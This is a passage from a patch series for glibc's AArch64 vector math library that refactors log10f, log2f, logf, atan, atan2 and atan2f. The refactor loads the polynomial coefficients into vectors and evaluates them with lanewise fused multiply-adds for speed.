+   .inv_ln10 = V4 (0x1.bcb7b2p-2f),
+   /* Lower bound is the smallest positive normal float 0x00800000. For
+@@ -62,7 +66,7 @@ special_case (float32x4_t y, uint32x4_t u_off, float32x4_t p, float32x4_t r2,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log10) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-
++  float32x4_t c1357 = vld1q_f32 (&d->c1);
+   /* To avoid having to mov x out of the way, keep u after offset has been
+      applied, and recover x by adding the offset back in the special-case
+      handler.  */
+@@ -81,7 +85,16 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log10) (float32x4_t x)
+ 
+   /* y = log10(1+r) + n * log10(2).  */
+   float32x4_t r2 = vmulq_f32 (r, r);
+-  float32x4_t poly = v_pw_horner_7_f32 (r, r2, d->poly);
++
++  float32x4_t c01 = vfmaq_laneq_f32 (d->c0, r, c1357, 0);
++  float32x4_t c23 = vfmaq_laneq_f32 (d->c2, r, c1357, 1);
++  float32x4_t c45 = vfmaq_laneq_f32 (d->c4, r, c1357, 2);
++  float32x4_t c67 = vfmaq_laneq_f32 (d->c6, r, c1357, 3);
++
++  float32x4_t p47 = vfmaq_f32 (c45, r2, c67);
++  float32x4_t p27 = vfmaq_f32 (c23, r2, p47);
++  float32x4_t poly = vfmaq_f32 (c01, r2, p27);
++
+   /* y = Log10(2) * n + poly * InvLn(10).  */
+   float32x4_t y = vfmaq_f32 (r, d->ln2, n);
+   y = vmulq_f32 (y, d->inv_ln10);
+diff --git a/sysdeps/aarch64/fpu/log2f_advsimd.c b/sysdeps/aarch64/fpu/log2f_advsimd.c
+index 84effe4fe9..116c36c8e2 100644
+--- a/sysdeps/aarch64/fpu/log2f_advsimd.c
++++ b/sysdeps/aarch64/fpu/log2f_advsimd.c
+@@ -18,22 +18,27 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "v_math.h"
+-#include "poly_advsimd_f32.h"
+ 
+ static const struct data
+ {
++  float32x4_t c0, c2, c4, c6, c8;
+   uint32x4_t off, offset_lower_bound;
+   uint16x8_t special_bound;
+   uint32x4_t mantissa_mask;
+-  float32x4_t poly[9];
++  float c1, c3, c5, c7;
+ } data = {
+   /* Coefficients generated using Remez algorithm approximate
+      log2(1+r)/r for r in [ -1/3, 1/3 ].
+      rel error: 0x1.c4c4b0cp-26.  */
+-  .poly = { V4 (0x1.715476p0f), /* (float)(1 / ln(2)).  */
+-	    V4 (-0x1.715458p-1f), V4 (0x1.ec701cp-2f), V4 (-0x1.7171a4p-2f),
+-	    V4 (0x1.27a0b8p-2f), V4 (-0x1.e5143ep-3f), V4 (0x1.9d8ecap-3f),
+-	    V4 (-0x1.c675bp-3f), V4 (0x1.9e495p-3f) },
++  .c0 = V4 (0x1.715476p0f), /* (float)(1 / ln(2)).  */
++  .c1 = -0x1.715458p-1f,
++  .c2 = V4 (0x1.ec701cp-2f),
++  .c3 = -0x1.7171a4p-2f,
++  .c4 = V4 (0x1.27a0b8p-2f),
++  .c5 = -0x1.e5143ep-3f,
++  .c6 = V4 (0x1.9d8ecap-3f),
++  .c7 = -0x1.c675bp-3f,
++  .c8 = V4 (0x1.9e495p-3f),
+   /* Lower bound is the smallest positive normal float 0x00800000. For
+      optimised register use subnormals are detected after offset has been
+      subtracted, so lower bound is 0x0080000 - offset (which wraps around).  */
+@@ -79,11 +84,21 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log2) (float32x4_t x)
+ 
+   /* y = log2(1+r) + n.  */
+   float32x4_t r2 = vmulq_f32 (r, r);
+-  float32x4_t p = v_pw_horner_8_f32 (r, r2, d->poly);
++
++  float32x4_t c1357 = vld1q_f32 (&d->c1);
++  float32x4_t c01 = vfmaq_laneq_f32 (d->c0, r, c1357, 0);
++  float32x4_t c23 = vfmaq_laneq_f32 (d->c2, r, c1357, 1);
++  float32x4_t c45 = vfmaq_laneq_f32 (d->c4, r, c1357, 2);
++  float32x4_t c67 = vfmaq_laneq_f32 (d->c6, r, c1357, 3);
++  float32x4_t p68 = vfmaq_f32 (c67, r2, d->c8);
++  float32x4_t p48 = vfmaq_f32 (c45, r2, p68);
++  float32x4_t p28 = vfmaq_f32 (c23, r2, p48);
++  float32x4_t p = vfmaq_f32 (c01, r2, p28);
+ 
+   if (__glibc_unlikely (v_any_u16h (special)))
+     return special_case (n, u_off, p, r, special, d);
+   return vfmaq_f32 (n, p, r);
+ }
++
+ libmvec_hidden_def (V_NAME_F1 (log2))
+ HALF_WIDTH_ALIAS_F1 (log2)
+diff --git a/sysdeps/aarch64/fpu/logf_advsimd.c b/sysdeps/aarch64/fpu/logf_advsimd.c
+index c20dbfd6c0..d9e64c732d 100644
+--- a/sysdeps/aarch64/fpu/logf_advsimd.c
++++ b/sysdeps/aarch64/fpu/logf_advsimd.c
+@@ -21,16 +21,19 @@
+ 
+ static const struct data
+ {
+-  uint32x4_t off, offset_lower_bound;
++  float32x4_t c2, c4, c6, ln2;
++  uint32x4_t off, offset_lower_bound, mantissa_mask;
+   uint16x8_t special_bound;
+-  uint32x4_t mantissa_mask;
+-  float32x4_t poly[7];
+-  float32x4_t ln2;
++  float c1, c3, c5, c0;
+ } data = {
+   /* 3.34 ulp error.  */
+-  .poly = { V4 (-0x1.3e737cp-3f), V4 (0x1.5a9aa2p-3f), V4 (-0x1.4f9934p-3f),
+-	    V4 (0x1.961348p-3f), V4 (-0x1.00187cp-2f), V4 (0x1.555d7cp-2f),
+-	    V4 (-0x1.ffffc8p-2f) },
++  .c0 = -0x1.3e737cp-3f,
++  .c1 = 0x1.5a9aa2p-3f,
++  .c2 = V4 (-0x1.4f9934p-3f),
++  .c3 = 0x1.961348p-3f,
++  .c4 = V4 (-0x1.00187cp-2f),
++  .c5 = 0x1.555d7cp-2f,
++  .c6 = V4 (-0x1.ffffc8p-2f),
+   .ln2 = V4 (0x1.62e43p-1f),
+   /* Lower bound is the smallest positive normal float 0x00800000. For
+      optimised register use subnormals are detected after offset has been
+@@ -41,8 +44,6 @@ static const struct data
+   .mantissa_mask = V4 (0x007fffff)
+ };
+ 
+-#define P(i) d->poly[7 - i]
+-
+ static float32x4_t VPCS_ATTR NOINLINE
+ special_case (float32x4_t p, uint32x4_t u_off, float32x4_t y, float32x4_t r2,
+ 	      uint16x4_t cmp, const struct data *d)
+@@ -55,33 +56,30 @@ special_case (float32x4_t p, uint32x4_t u_off, float32x4_t y, float32x4_t r2,
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F1 (log) (float32x4_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
+-  float32x4_t n, p, q, r, r2, y;
+-  uint32x4_t u, u_off;
+-  uint16x4_t cmp;
++  float32x4_t c1350 = vld1q_f32 (&d->c1);
+ 
+   /* To avoid having to mov x out of the way, keep u after offset has been
+      applied, and recover x by adding the offset back in the special-case
+      handler.  */
+-  u_off = vreinterpretq_u32_f32 (x);
++  uint32x4_t u_off = vsubq_u32 (vreinterpretq_u32_f32 (x), d->off);
+ 
+   /* x = 2^n * (1+r), where 2/3 < 1+r < 4/3.  */
+-  u_off = vsubq_u32 (u_off, d->off);
+-  n = vcvtq_f32_s32 (
++  float32x4_t n = vcvtq_f32_s32 (
+       vshrq_n_s32 (vreinterpretq_s32_u32 (u_off), 23)); /* signextend.  */
+-  u = vandq_u32 (u_off, d->mantissa_mask);
+-  u = vaddq_u32 (u, d->off);
+-  r = vsubq_f32 (vreinterpretq_f32_u32 (u), v_f32 (1.0f));
++  uint16x4_t cmp = vcge_u16 (vsubhn_u32 (u_off, d->offset_lower_bound),
++			     vget_low_u16 (d->special_bound));
+ 
+-  cmp = vcge_u16 (vsubhn_u32 (u_off, d->offset_lower_bound),
+-		  vget_low_u16 (d->special_bound));
++  uint32x4_t u = vaddq_u32 (vandq_u32 (u_off, d->mantissa_mask), d->off);
++  float32x4_t r = vsubq_f32 (vreinterpretq_f32_u32 (u), v_f32 (1.0f));
+ 
+   /* y = log(1+r) + n*ln2.  */
+-  r2 = vmulq_f32 (r, r);
++  float32x4_t r2 = vmulq_f32 (r, r);
+   /* n*ln2 + r + r2*(P1 + r*P2 + r2*(P3 + r*P4 + r2*(P5 + r*P6 + r2*P7))).  */
+-  p = vfmaq_f32 (P (5), P (6), r);
+-  q = vfmaq_f32 (P (3), P (4), r);
+-  y = vfmaq_f32 (P (1), P (2), r);
+-  p = vfmaq_f32 (p, P (7), r2);
++  float32x4_t p = vfmaq_laneq_f32 (d->c2, r, c1350, 0);
++  float32x4_t q = vfmaq_laneq_f32 (d->c4, r, c1350, 1);
++  float32x4_t y = vfmaq_laneq_f32 (d->c6, r, c1350, 2);
++  p = vfmaq_laneq_f32 (p, r2, c1350, 3);
++
+   q = vfmaq_f32 (q, p, r2);
+   y = vfmaq_f32 (y, q, r2);
+   p = vfmaq_f32 (r, d->ln2, n);
+
+commit 41dc9e7c2d80bc5e886950b8a7bd21f77c9793b3
+Author: Joana Cruz <Joana.Cruz@arm.com>
+Date:   Tue Dec 17 14:49:30 2024 +0000
+
+    AArch64: Improve codegen of AdvSIMD atan(2)(f)
+    
+    Load the polynomial evaluation coefficients into 2 vectors and use lanewise MLAs.
+    8% improvement in throughput microbenchmark on Neoverse V1.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 6914774b9d3460876d9ad4482782213ec01a752e)
+
+diff --git a/sysdeps/aarch64/fpu/atan2_advsimd.c b/sysdeps/aarch64/fpu/atan2_advsimd.c
+index b1e7a9b8fc..1a8f02109f 100644
+--- a/sysdeps/aarch64/fpu/atan2_advsimd.c
++++ b/sysdeps/aarch64/fpu/atan2_advsimd.c
+@@ -23,40 +23,57 @@
+ 
+ static const struct data
+ {
++  float64x2_t c0, c2, c4, c6, c8, c10, c12, c14, c16, c18;
+   float64x2_t pi_over_2;
+-  float64x2_t poly[20];
++  double c1, c3, c5, c7, c9, c11, c13, c15, c17, c19;
++  uint64x2_t zeroinfnan, minustwo;
+ } data = {
+   /* Coefficients of polynomial P such that atan(x)~x+x*P(x^2) on
+-     the interval [2**-1022, 1.0].  */
+-  .poly = { V2 (-0x1.5555555555555p-2),	 V2 (0x1.99999999996c1p-3),
+-	    V2 (-0x1.2492492478f88p-3),	 V2 (0x1.c71c71bc3951cp-4),
+-	    V2 (-0x1.745d160a7e368p-4),	 V2 (0x1.3b139b6a88ba1p-4),
+-	    V2 (-0x1.11100ee084227p-4),	 V2 (0x1.e1d0f9696f63bp-5),
+-	    V2 (-0x1.aebfe7b418581p-5),	 V2 (0x1.842dbe9b0d916p-5),
+-	    V2 (-0x1.5d30140ae5e99p-5),	 V2 (0x1.338e31eb2fbbcp-5),
+-	    V2 (-0x1.00e6eece7de8p-5),	 V2 (0x1.860897b29e5efp-6),
+-	    V2 (-0x1.0051381722a59p-6),	 V2 (0x1.14e9dc19a4a4ep-7),
+-	    V2 (-0x1.d0062b42fe3bfp-9),	 V2 (0x1.17739e210171ap-10),
+-	    V2 (-0x1.ab24da7be7402p-13), V2 (0x1.358851160a528p-16), },
++	      [2**-1022, 1.0].  */
++  .c0 = V2 (-0x1.5555555555555p-2),
++  .c1 = 0x1.99999999996c1p-3,
++  .c2 = V2 (-0x1.2492492478f88p-3),
++  .c3 = 0x1.c71c71bc3951cp-4,
++  .c4 = V2 (-0x1.745d160a7e368p-4),
++  .c5 = 0x1.3b139b6a88ba1p-4,
++  .c6 = V2 (-0x1.11100ee084227p-4),
++  .c7 = 0x1.e1d0f9696f63bp-5,
++  .c8 = V2 (-0x1.aebfe7b418581p-5),
++  .c9 = 0x1.842dbe9b0d916p-5,
++  .c10 = V2 (-0x1.5d30140ae5e99p-5),
++  .c11 = 0x1.338e31eb2fbbcp-5,
++  .c12 = V2 (-0x1.00e6eece7de8p-5),
++  .c13 = 0x1.860897b29e5efp-6,
++  .c14 = V2 (-0x1.0051381722a59p-6),
++  .c15 = 0x1.14e9dc19a4a4ep-7,
++  .c16 = V2 (-0x1.d0062b42fe3bfp-9),
++  .c17 = 0x1.17739e210171ap-10,
++  .c18 = V2 (-0x1.ab24da7be7402p-13),
++  .c19 = 0x1.358851160a528p-16,
+   .pi_over_2 = V2 (0x1.921fb54442d18p+0),
++  .zeroinfnan = V2 (2 * 0x7ff0000000000000ul - 1),
++  .minustwo = V2 (0xc000000000000000),
+ };
+ 
+ #define SignMask v_u64 (0x8000000000000000)
+ 
+ /* Special cases i.e. 0, infinity, NaN (fall back to scalar calls).  */
+ static float64x2_t VPCS_ATTR NOINLINE
+-special_case (float64x2_t y, float64x2_t x, float64x2_t ret, uint64x2_t cmp)
++special_case (float64x2_t y, float64x2_t x, float64x2_t ret,
++	      uint64x2_t sign_xy, uint64x2_t cmp)
+ {
++  /* Account for the sign of x and y.  */
++  ret = vreinterpretq_f64_u64 (
++      veorq_u64 (vreinterpretq_u64_f64 (ret), sign_xy));
+   return v_call2_f64 (atan2, y, x, ret, cmp);
+ }
+ 
+ /* Returns 1 if input is the bit representation of 0, infinity or nan.  */
+ static inline uint64x2_t
+-zeroinfnan (uint64x2_t i)
++zeroinfnan (uint64x2_t i, const struct data *d)
+ {
+   /* (2 * i - 1) >= (2 * asuint64 (INFINITY) - 1).  */
+-  return vcgeq_u64 (vsubq_u64 (vaddq_u64 (i, i), v_u64 (1)),
+-		    v_u64 (2 * asuint64 (INFINITY) - 1));
++  return vcgeq_u64 (vsubq_u64 (vaddq_u64 (i, i), v_u64 (1)), d->zeroinfnan);
+ }
+ 
+ /* Fast implementation of vector atan2.
+@@ -66,12 +83,13 @@ zeroinfnan (uint64x2_t i)
+        want 0x1.92d628ab678cfp-1.  */
+ float64x2_t VPCS_ATTR V_NAME_D2 (atan2) (float64x2_t y, float64x2_t x)
+ {
+-  const struct data *data_ptr = ptr_barrier (&data);
++  const struct data *d = ptr_barrier (&data);
+ 
+   uint64x2_t ix = vreinterpretq_u64_f64 (x);
+   uint64x2_t iy = vreinterpretq_u64_f64 (y);
+ 
+-  uint64x2_t special_cases = vorrq_u64 (zeroinfnan (ix), zeroinfnan (iy));
++  uint64x2_t special_cases
++      = vorrq_u64 (zeroinfnan (ix, d), zeroinfnan (iy, d));
+ 
+   uint64x2_t sign_x = vandq_u64 (ix, SignMask);
+   uint64x2_t sign_y = vandq_u64 (iy, SignMask);
+@@ -81,18 +99,18 @@ float64x2_t VPCS_ATTR V_NAME_D2 (atan2) (float64x2_t y, float64x2_t x)
+   float64x2_t ay = vabsq_f64 (y);
+ 
+   uint64x2_t pred_xlt0 = vcltzq_f64 (x);
+-  uint64x2_t pred_aygtax = vcgtq_f64 (ay, ax);
++  uint64x2_t pred_aygtax = vcagtq_f64 (y, x);
+ 
+   /* Set up z for call to atan.  */
+   float64x2_t n = vbslq_f64 (pred_aygtax, vnegq_f64 (ax), ay);
+-  float64x2_t d = vbslq_f64 (pred_aygtax, ay, ax);
+-  float64x2_t z = vdivq_f64 (n, d);
++  float64x2_t q = vbslq_f64 (pred_aygtax, ay, ax);
++  float64x2_t z = vdivq_f64 (n, q);
+ 
+   /* Work out the correct shift.  */
+-  float64x2_t shift = vreinterpretq_f64_u64 (
+-      vandq_u64 (pred_xlt0, vreinterpretq_u64_f64 (v_f64 (-2.0))));
++  float64x2_t shift
++      = vreinterpretq_f64_u64 (vandq_u64 (pred_xlt0, d->minustwo));
+   shift = vbslq_f64 (pred_aygtax, vaddq_f64 (shift, v_f64 (1.0)), shift);
+-  shift = vmulq_f64 (shift, data_ptr->pi_over_2);
++  shift = vmulq_f64 (shift, d->pi_over_2);
+ 
+   /* Calculate the polynomial approximation.
+      Use split Estrin scheme for P(z^2) with deg(P)=19. Use split instead of
+@@ -103,20 +121,52 @@ float64x2_t VPCS_ATTR V_NAME_D2 (atan2) (float64x2_t y, float64x2_t x)
+   float64x2_t x2 = vmulq_f64 (z2, z2);
+   float64x2_t x4 = vmulq_f64 (x2, x2);
+   float64x2_t x8 = vmulq_f64 (x4, x4);
+-  float64x2_t ret
+-      = vfmaq_f64 (v_estrin_7_f64 (z2, x2, x4, data_ptr->poly),
+-		   v_estrin_11_f64 (z2, x2, x4, x8, data_ptr->poly + 8), x8);
++
++  float64x2_t c13 = vld1q_f64 (&d->c1);
++  float64x2_t c57 = vld1q_f64 (&d->c5);
++  float64x2_t c911 = vld1q_f64 (&d->c9);
++  float64x2_t c1315 = vld1q_f64 (&d->c13);
++  float64x2_t c1719 = vld1q_f64 (&d->c17);
++
++  /* estrin_7.  */
++  float64x2_t p01 = vfmaq_laneq_f64 (d->c0, z2, c13, 0);
++  float64x2_t p23 = vfmaq_laneq_f64 (d->c2, z2, c13, 1);
++  float64x2_t p03 = vfmaq_f64 (p01, x2, p23);
++
++  float64x2_t p45 = vfmaq_laneq_f64 (d->c4, z2, c57, 0);
++  float64x2_t p67 = vfmaq_laneq_f64 (d->c6, z2, c57, 1);
++  float64x2_t p47 = vfmaq_f64 (p45, x2, p67);
++
++  float64x2_t p07 = vfmaq_f64 (p03, x4, p47);
++
++  /* estrin_11.  */
++  float64x2_t p89 = vfmaq_laneq_f64 (d->c8, z2, c911, 0);
++  float64x2_t p1011 = vfmaq_laneq_f64 (d->c10, z2, c911, 1);
++  float64x2_t p811 = vfmaq_f64 (p89, x2, p1011);
++
++  float64x2_t p1213 = vfmaq_laneq_f64 (d->c12, z2, c1315, 0);
++  float64x2_t p1415 = vfmaq_laneq_f64 (d->c14, z2, c1315, 1);
++  float64x2_t p1215 = vfmaq_f64 (p1213, x2, p1415);
++
++  float64x2_t p1617 = vfmaq_laneq_f64 (d->c16, z2, c1719, 0);
++  float64x2_t p1819 = vfmaq_laneq_f64 (d->c18, z2, c1719, 1);
++  float64x2_t p1619 = vfmaq_f64 (p1617, x2, p1819);
++
++  float64x2_t p815 = vfmaq_f64 (p811, x4, p1215);
++  float64x2_t p819 = vfmaq_f64 (p815, x8, p1619);
++
++  float64x2_t ret = vfmaq_f64 (p07, p819, x8);
+ 
+   /* Finalize. y = shift + z + z^3 * P(z^2).  */
+   ret = vfmaq_f64 (z, ret, vmulq_f64 (z2, z));
+   ret = vaddq_f64 (ret, shift);
+ 
++  if (__glibc_unlikely (v_any_u64 (special_cases)))
++    return special_case (y, x, ret, sign_xy, special_cases);
++
+   /* Account for the sign of x and y.  */
+   ret = vreinterpretq_f64_u64 (
+       veorq_u64 (vreinterpretq_u64_f64 (ret), sign_xy));
+ 
+-  if (__glibc_unlikely (v_any_u64 (special_cases)))
+-    return special_case (y, x, ret, special_cases);
+-
+   return ret;
+ }
+diff --git a/sysdeps/aarch64/fpu/atan2f_advsimd.c b/sysdeps/aarch64/fpu/atan2f_advsimd.c
+index 56e610caf1..88daacd76c 100644
+--- a/sysdeps/aarch64/fpu/atan2f_advsimd.c
++++ b/sysdeps/aarch64/fpu/atan2f_advsimd.c
+@@ -22,34 +22,39 @@
+ 
+ static const struct data
+ {
+-  float32x4_t poly[8];
+-  float32x4_t pi_over_2;
++  float32x4_t c0, pi_over_2, c4, c6, c2;
++  float c1, c3, c5, c7;
++  uint32x4_t comp_const;
+ } data = {
+   /* Coefficients of polynomial P such that atan(x)~x+x*P(x^2) on
+      [2**-128, 1.0].
+      Generated using fpminimax between FLT_MIN and 1.  */
+-  .poly = { V4 (-0x1.55555p-2f), V4 (0x1.99935ep-3f), V4 (-0x1.24051ep-3f),
+-	    V4 (0x1.bd7368p-4f), V4 (-0x1.491f0ep-4f), V4 (0x1.93a2c0p-5f),
+-	    V4 (-0x1.4c3c60p-6f), V4 (0x1.01fd88p-8f) },
+-  .pi_over_2 = V4 (0x1.921fb6p+0f),
++  .c0 = V4 (-0x1.55555p-2f),	    .c1 = 0x1.99935ep-3f,
++  .c2 = V4 (-0x1.24051ep-3f),	    .c3 = 0x1.bd7368p-4f,
++  .c4 = V4 (-0x1.491f0ep-4f),	    .c5 = 0x1.93a2c0p-5f,
++  .c6 = V4 (-0x1.4c3c60p-6f),	    .c7 = 0x1.01fd88p-8f,
++  .pi_over_2 = V4 (0x1.921fb6p+0f), .comp_const = V4 (2 * 0x7f800000lu - 1),
+ };
+ 
+ #define SignMask v_u32 (0x80000000)
+ 
+ /* Special cases i.e. 0, infinity and nan (fall back to scalar calls).  */
+ static float32x4_t VPCS_ATTR NOINLINE
+-special_case (float32x4_t y, float32x4_t x, float32x4_t ret, uint32x4_t cmp)
++special_case (float32x4_t y, float32x4_t x, float32x4_t ret,
++	      uint32x4_t sign_xy, uint32x4_t cmp)
+ {
++  /* Account for the sign of y.  */
++  ret = vreinterpretq_f32_u32 (
++      veorq_u32 (vreinterpretq_u32_f32 (ret), sign_xy));
+   return v_call2_f32 (atan2f, y, x, ret, cmp);
+ }
+ 
+ /* Returns 1 if input is the bit representation of 0, infinity or nan.  */
+ static inline uint32x4_t
+-zeroinfnan (uint32x4_t i)
++zeroinfnan (uint32x4_t i, const struct data *d)
+ {
+   /* 2 * i - 1 >= 2 * 0x7f800000lu - 1.  */
+-  return vcgeq_u32 (vsubq_u32 (vmulq_n_u32 (i, 2), v_u32 (1)),
+-		    v_u32 (2 * 0x7f800000lu - 1));
++  return vcgeq_u32 (vsubq_u32 (vmulq_n_u32 (i, 2), v_u32 (1)), d->comp_const);
+ }
+ 
+ /* Fast implementation of vector atan2f. Maximum observed error is
+@@ -58,12 +63,13 @@ zeroinfnan (uint32x4_t i)
+ 						 want 0x1.967f00p-1.  */
+ float32x4_t VPCS_ATTR NOINLINE V_NAME_F2 (atan2) (float32x4_t y, float32x4_t x)
+ {
+-  const struct data *data_ptr = ptr_barrier (&data);
++  const struct data *d = ptr_barrier (&data);
+ 
+   uint32x4_t ix = vreinterpretq_u32_f32 (x);
+   uint32x4_t iy = vreinterpretq_u32_f32 (y);
+ 
+-  uint32x4_t special_cases = vorrq_u32 (zeroinfnan (ix), zeroinfnan (iy));
++  uint32x4_t special_cases
++      = vorrq_u32 (zeroinfnan (ix, d), zeroinfnan (iy, d));
+ 
+   uint32x4_t sign_x = vandq_u32 (ix, SignMask);
+   uint32x4_t sign_y = vandq_u32 (iy, SignMask);
+@@ -77,14 +83,14 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F2 (atan2) (float32x4_t y, float32x4_t x)
+ 
+   /* Set up z for call to atanf.  */
+   float32x4_t n = vbslq_f32 (pred_aygtax, vnegq_f32 (ax), ay);
+-  float32x4_t d = vbslq_f32 (pred_aygtax, ay, ax);
+-  float32x4_t z = vdivq_f32 (n, d);
++  float32x4_t q = vbslq_f32 (pred_aygtax, ay, ax);
++  float32x4_t z = vdivq_f32 (n, q);
+ 
+   /* Work out the correct shift.  */
+   float32x4_t shift = vreinterpretq_f32_u32 (
+       vandq_u32 (pred_xlt0, vreinterpretq_u32_f32 (v_f32 (-2.0f))));
+   shift = vbslq_f32 (pred_aygtax, vaddq_f32 (shift, v_f32 (1.0f)), shift);
+-  shift = vmulq_f32 (shift, data_ptr->pi_over_2);
++  shift = vmulq_f32 (shift, d->pi_over_2);
+ 
+   /* Calculate the polynomial approximation.
+      Use 2-level Estrin scheme for P(z^2) with deg(P)=7. However,
+@@ -96,23 +102,27 @@ float32x4_t VPCS_ATTR NOINLINE V_NAME_F2 (atan2) (float32x4_t y, float32x4_t x)
+   float32x4_t z2 = vmulq_f32 (z, z);
+   float32x4_t z4 = vmulq_f32 (z2, z2);
+ 
+-  float32x4_t ret = vfmaq_f32 (
+-      v_pairwise_poly_3_f32 (z2, z4, data_ptr->poly), z4,
+-      vmulq_f32 (z4, v_pairwise_poly_3_f32 (z2, z4, data_ptr->poly + 4)));
++  float32x4_t c1357 = vld1q_f32 (&d->c1);
++  float32x4_t p01 = vfmaq_laneq_f32 (d->c0, z2, c1357, 0);
++  float32x4_t p23 = vfmaq_laneq_f32 (d->c2, z2, c1357, 1);
++  float32x4_t p45 = vfmaq_laneq_f32 (d->c4, z2, c1357, 2);
++  float32x4_t p67 = vfmaq_laneq_f32 (d->c6, z2, c1357, 3);
++  float32x4_t p03 = vfmaq_f32 (p01, z4, p23);
++  float32x4_t p47 = vfmaq_f32 (p45, z4, p67);
++
++  float32x4_t ret = vfmaq_f32 (p03, z4, vmulq_f32 (z4, p47));
+ 
+   /* y = shift + z * P(z^2).  */
+   ret = vaddq_f32 (vfmaq_f32 (z, ret, vmulq_f32 (z2, z)), shift);
+ 
+-  /* Account for the sign of y.  */
+-  ret = vreinterpretq_f32_u32 (
+-      veorq_u32 (vreinterpretq_u32_f32 (ret), sign_xy));
+-
+   if (__glibc_unlikely (v_any_u32 (special_cases)))
+     {
+-      return special_case (y, x, ret, special_cases);
++      return special_case (y, x, ret, sign_xy, special_cases);
+     }
+ 
+-  return ret;
++  /* Account for the sign of y.  */
++  return vreinterpretq_f32_u32 (
++      veorq_u32 (vreinterpretq_u32_f32 (ret), sign_xy));
+ }
+ libmvec_hidden_def (V_NAME_F2 (atan2))
+ HALF_WIDTH_ALIAS_F2(atan2)
+diff --git a/sysdeps/aarch64/fpu/atan_advsimd.c b/sysdeps/aarch64/fpu/atan_advsimd.c
+index a962be0f78..14f1809796 100644
+--- a/sysdeps/aarch64/fpu/atan_advsimd.c
++++ b/sysdeps/aarch64/fpu/atan_advsimd.c
+@@ -22,21 +22,22 @@
+ 
+ static const struct data
+ {
++  float64x2_t c0, c2, c4, c6, c8, c10, c12, c14, c16, c18;
+   float64x2_t pi_over_2;
+-  float64x2_t poly[20];
++  double c1, c3, c5, c7, c9, c11, c13, c15, c17, c19;
+ } data = {
+   /* Coefficients of polynomial P such that atan(x)~x+x*P(x^2) on
+ 	      [2**-1022, 1.0].  */
+-  .poly = { V2 (-0x1.5555555555555p-2),	 V2 (0x1.99999999996c1p-3),
+-	    V2 (-0x1.2492492478f88p-3),	 V2 (0x1.c71c71bc3951cp-4),
+-	    V2 (-0x1.745d160a7e368p-4),	 V2 (0x1.3b139b6a88ba1p-4),
+-	    V2 (-0x1.11100ee084227p-4),	 V2 (0x1.e1d0f9696f63bp-5),
+-	    V2 (-0x1.aebfe7b418581p-5),	 V2 (0x1.842dbe9b0d916p-5),
+-	    V2 (-0x1.5d30140ae5e99p-5),	 V2 (0x1.338e31eb2fbbcp-5),
+-	    V2 (-0x1.00e6eece7de8p-5),	 V2 (0x1.860897b29e5efp-6),
+-	    V2 (-0x1.0051381722a59p-6),	 V2 (0x1.14e9dc19a4a4ep-7),
+-	    V2 (-0x1.d0062b42fe3bfp-9),	 V2 (0x1.17739e210171ap-10),
+-	    V2 (-0x1.ab24da7be7402p-13), V2 (0x1.358851160a528p-16), },
++  .c0 = V2 (-0x1.5555555555555p-2),	  .c1 = 0x1.99999999996c1p-3,
++  .c2 = V2 (-0x1.2492492478f88p-3),	  .c3 = 0x1.c71c71bc3951cp-4,
++  .c4 = V2 (-0x1.745d160a7e368p-4),	  .c5 = 0x1.3b139b6a88ba1p-4,
++  .c6 = V2 (-0x1.11100ee084227p-4),	  .c7 = 0x1.e1d0f9696f63bp-5,
++  .c8 = V2 (-0x1.aebfe7b418581p-5),	  .c9 = 0x1.842dbe9b0d916p-5,
++  .c10 = V2 (-0x1.5d30140ae5e99p-5),	  .c11 = 0x1.338e31eb2fbbcp-5,
++  .c12 = V2 (-0x1.00e6eece7de8p-5),	  .c13 = 0x1.860897b29e5efp-6,
++  .c14 = V2 (-0x1.0051381722a59p-6),	  .c15 = 0x1.14e9dc19a4a4ep-7,
++  .c16 = V2 (-0x1.d0062b42fe3bfp-9),	  .c17 = 0x1.17739e210171ap-10,
++  .c18 = V2 (-0x1.ab24da7be7402p-13),	  .c19 = 0x1.358851160a528p-16,
+   .pi_over_2 = V2 (0x1.921fb54442d18p+0),
+ };
+ 
+@@ -52,6 +53,11 @@ static const struct data
+ float64x2_t VPCS_ATTR V_NAME_D1 (atan) (float64x2_t x)
+ {
+   const struct data *d = ptr_barrier (&data);
++  float64x2_t c13 = vld1q_f64 (&d->c1);
++  float64x2_t c57 = vld1q_f64 (&d->c5);
++  float64x2_t c911 = vld1q_f64 (&d->c9);
++  float64x2_t c1315 = vld1q_f64 (&d->c13);
++  float64x2_t c1719 = vld1q_f64 (&d->c17);
+ 
+   /* Small cases, infs and nans are supported by our approximation technique,
+      but do not set fenv flags correctly. Only trigger special case if we need
+@@ -90,9 +96,35 @@ float64x2_t VPCS_ATTR V_NAME_D1 (atan) (float64x2_t x)
+   float64x2_t x2 = vmulq_f64 (z2, z2);
+   float64x2_t x4 = vmulq_f64 (x2, x2);
+   float64x2_t x8 = vmulq_f64 (x4, x4);
+-  float64x2_t y
+-      = vfmaq_f64 (v_estrin_7_f64 (z2, x2, x4, d->poly),
+-		   v_estrin_11_f64 (z2, x2, x4, x8, d->poly + 8), x8);
++
++  /* estrin_7.  */
++  float64x2_t p01 = vfmaq_laneq_f64 (d->c0, z2, c13, 0);
++  float64x2_t p23 = vfmaq_laneq_f64 (d->c2, z2, c13, 1);
++  float64x2_t p03 = vfmaq_f64 (p01, x2, p23);
++
++  float64x2_t p45 = vfmaq_laneq_f64 (d->c4, z2, c57, 0);
++  float64x2_t p67 = vfmaq_laneq_f64 (d->c6, z2, c57, 1);
++  float64x2_t p47 = vfmaq_f64 (p45, x2, p67);
++
++  float64x2_t p07 = vfmaq_f64 (p03, x4, p47);
++
++  /* estrin_11.  */
++  float64x2_t p89 = vfmaq_laneq_f64 (d->c8, z2, c911, 0);
++  float64x2_t p1011 = vfmaq_laneq_f64 (d->c10, z2, c911, 1);
++  float64x2_t p811 = vfmaq_f64 (p89, x2, p1011);
++
++  float64x2_t p1213 = vfmaq_laneq_f64 (d->c12, z2, c1315, 0);
++  float64x2_t p1415 = vfmaq_laneq_f64 (d->c14, z2, c1315, 1);
